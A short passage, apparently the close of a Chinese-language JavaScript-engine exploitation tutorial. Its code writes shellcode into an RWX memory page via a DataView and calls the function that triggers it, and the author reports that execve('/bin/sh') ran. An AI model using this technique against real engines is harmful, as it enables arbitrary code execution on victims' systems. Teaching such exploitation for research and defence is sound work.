{writeDataview(rwx_page8n*i,shellcode[i]);
}
// trigger shellcode
//%SystemBreak();
f();最后的效果成功执行了execve(“/bin/sh”)
入门一到此结束了捏